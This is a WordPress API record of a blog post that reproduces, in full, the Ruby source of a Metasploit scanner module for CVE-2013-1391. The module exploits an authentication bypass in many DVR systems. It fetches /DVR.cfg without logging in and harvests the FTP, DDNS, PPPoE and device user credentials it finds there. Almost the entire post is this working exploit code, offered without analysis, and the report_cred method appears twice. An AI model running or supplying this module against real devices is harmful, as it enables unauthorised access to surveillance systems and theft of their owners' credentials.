{"id":59378,"date":"2024-09-01T22:40:04","date_gmt":"2024-09-01T19:40:04","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181211\/dvr_config_disclosure.rb.txt"},"modified":"2024-09-01T22:40:04","modified_gmt":"2024-09-01T19:40:04","slug":"multiple-dvr-manufacturers-configuration-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/multiple-dvr-manufacturers-configuration-disclosure\/","title":{"rendered":"Multiple DVR Manufacturers Configuration Disclosure"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Multiple DVR Manufacturers Configuration Disclosure&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module takes advantage of an authentication bypass vulnerability at the<br \/>web interface of multiple manufacturers DVR systems, which allows to retrieve the<br \/>device configuration.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Alejandro Ramos&#8217;, # Vulnerability Discovery<br \/>&#8216;juan vazquez&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2013-1391&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.securitybydefault.com\/2013\/01\/12000-grabadores-de-video-expuestos-en.html&#8217; ]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>end<\/p>\n<p>def get_pppoe_credentials(conf)<\/p>\n<p>user = &#8220;&#8221;<br \/>password = &#8220;&#8221;<br \/>enabled = &#8220;&#8221;<\/p>\n<p>if conf =~ \/PPPOE_EN=(\\d)\/<br \/>enabled = $1<br \/>end<\/p>\n<p>return if enabled == &#8220;0&#8221;<\/p>\n<p>if conf =~ \/PPPOE_USER=(.*)\/<br \/>user = $1<br \/>end<\/p>\n<p>if conf =~ \/PPPOE_PASSWORD=(.*)\/<br \/>password = $1<br \/>end<\/p>\n<p>if user.empty? or password.empty?<br \/>return<br \/>end<\/p>\n<p>info = &#8220;PPPOE credentials for #{rhost}, user: #{user}, password: #{password}&#8221;<\/p>\n<p>report_note({<br \/>:host =&gt; rhost,<br \/>:data =&gt; info,<br \/>:type =&gt; &#8220;dvr.pppoe.conf&#8221;,<br \/>:sname =&gt; &#8216;pppoe&#8217;,<br \/>:update =&gt; :unique_data<br \/>})<\/p>\n<p>end<\/p>\n<p>def get_ddns_credentials(conf)<br \/>hostname = &#8220;&#8221;<br \/>user = &#8220;&#8221;<br \/>password = &#8220;&#8221;<br \/>enabled = &#8220;&#8221;<\/p>\n<p>if conf =~ \/DDNS_EN=(\\d)\/<br \/>enabled = $1<br \/>end<\/p>\n<p>return if enabled == &#8220;0&#8221;<\/p>\n<p>if conf =~ \/DDNS_HOSTNAME=(.*)\/<br \/>hostname = $1<br \/>end<\/p>\n<p>if conf =~ \/DDNS_USER=(.*)\/<br \/>user = $1<br \/>end<\/p>\n<p>if conf =~ \/DDNS_PASSWORD=(.*)\/<br \/>password = $1<br \/>end<\/p>\n<p>if hostname.empty?<br \/>return<br \/>end<\/p>\n<p>info = &#8220;DDNS credentials for #{hostname}, user: #{user}, password: #{password}&#8221;<\/p>\n<p>report_note({<br \/>:host =&gt; rhost,<br \/>:data =&gt; info,<br \/>:type =&gt; &#8220;dvr.ddns.conf&#8221;,<br \/>:sname =&gt; &#8216;ddns&#8217;,<br \/>:update =&gt; :unique_data<br \/>})<\/p>\n<p>end<\/p>\n<p>def get_ftp_credentials(conf)<br \/>server = &#8220;&#8221;<br \/>user = &#8220;&#8221;<br \/>password = &#8220;&#8221;<br \/>port = &#8220;&#8221;<\/p>\n<p>if conf =~ \/FTP_SERVER=(.*)\/<br \/>server = $1<br \/>end<\/p>\n<p>if conf =~ \/FTP_USER=(.*)\/<br \/>user = $1<br \/>end<\/p>\n<p>if conf =~ \/FTP_PASSWORD=(.*)\/<br \/>password = $1<br \/>end<\/p>\n<p>if conf =~ \/FTP_PORT=(.*)\/<br \/>port = $1<br \/>end<\/p>\n<p>if server.empty?<br \/>return<br \/>end<\/p>\n<p>report_cred(<br \/>ip: server,<br \/>port: port,<br \/>service_name: &#8216;ftp&#8217;,<br \/>user: user,<br \/>password: password,<br \/>proof: conf.inspect<br \/>)<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def get_dvr_credentials(conf)<br \/>conf.scan(\/USER(\\d+)_USERNAME\/).each { |match|<br \/>user = &#8220;&#8221;<br \/>password = &#8220;&#8221;<br \/>active = &#8220;&#8221;<\/p>\n<p>user_id = match[0]\n<p>if conf =~ \/USER#{user_id}_LOGIN=(.*)\/<br \/>active = $1<br \/>end<\/p>\n<p>if conf =~ \/USER#{user_id}_USERNAME=(.*)\/<br \/>user = $1<br \/>end<\/p>\n<p>if conf =~ \/USER#{user_id}_PASSWORD=(.*)\/<br \/>password = $1<br \/>end<\/p>\n<p>if active == &#8220;0&#8221;<br \/>user_active = false<br \/>else<br \/>user_active = true<br \/>end<\/p>\n<p>report_cred(<br \/>ip: rhost,<br \/>port: rport,<br \/>service_name: &#8216;dvr&#8217;,<br \/>user: user,<br \/>password: password,<br \/>proof: &#8220;user_id: #{user_id}, active: #{active}&#8221;<br \/>)<br \/>}<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def run_host(ip)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/DVR.cfg&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<\/p>\n<p>if not res or res.code != 200 or res.body.empty? or res.body !~ \/CAMERA\/<br \/>vprint_error(&#8220;#{rhost}:#{rport} &#8211; DVR configuration not found&#8221;)<br \/>return<br \/>end<\/p>\n<p>p = store_loot(&#8220;dvr.configuration&#8221;, &#8220;text\/plain&#8221;, rhost, res.body, &#8220;DVR.cfg&#8221;)<br \/>vprint_good(&#8220;#{rhost}:#{rport} &#8211; DVR configuration stored in #{p}&#8221;)<\/p>\n<p>conf = res.body<\/p>\n<p>get_ftp_credentials(conf)<br \/>get_dvr_credentials(conf)<br \/>get_ddns_credentials(conf)<br \/>get_pppoe_credentials(conf)<\/p>\n<p>dvr_name = &#8220;&#8221;<br \/>if res.body =~ \/DVR_NAME=(.*)\/<br \/>dvr_name = $1<br \/>end<\/p>\n<p>report_service(:host =&gt; rhost, :port =&gt; rport, :sname =&gt; &#8216;dvr&#8217;, :info =&gt; &#8220;DVR NAME: #{dvr_name}&#8221;)<br \/>print_good(&#8220;#{rhost}:#{rport} DVR #{dvr_name} found&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Multiple DVR Manufacturers Configuration Disclosure&#8217;,&#8216;Description&#8217; =&gt; %q{This module takes advantage of an authentication bypass vulnerability at theweb interface of multiple manufacturers DVR systems, which allows to retrieve thedevice configuration.},&#8216;Author&#8217; =&gt;[&#8216;Alejandro Ramos&#8217;, # Vulnerability Discovery&#8216;juan vazquez&#8217; # &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59378","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59378","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59378"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59378\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59378"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59378"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59378"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}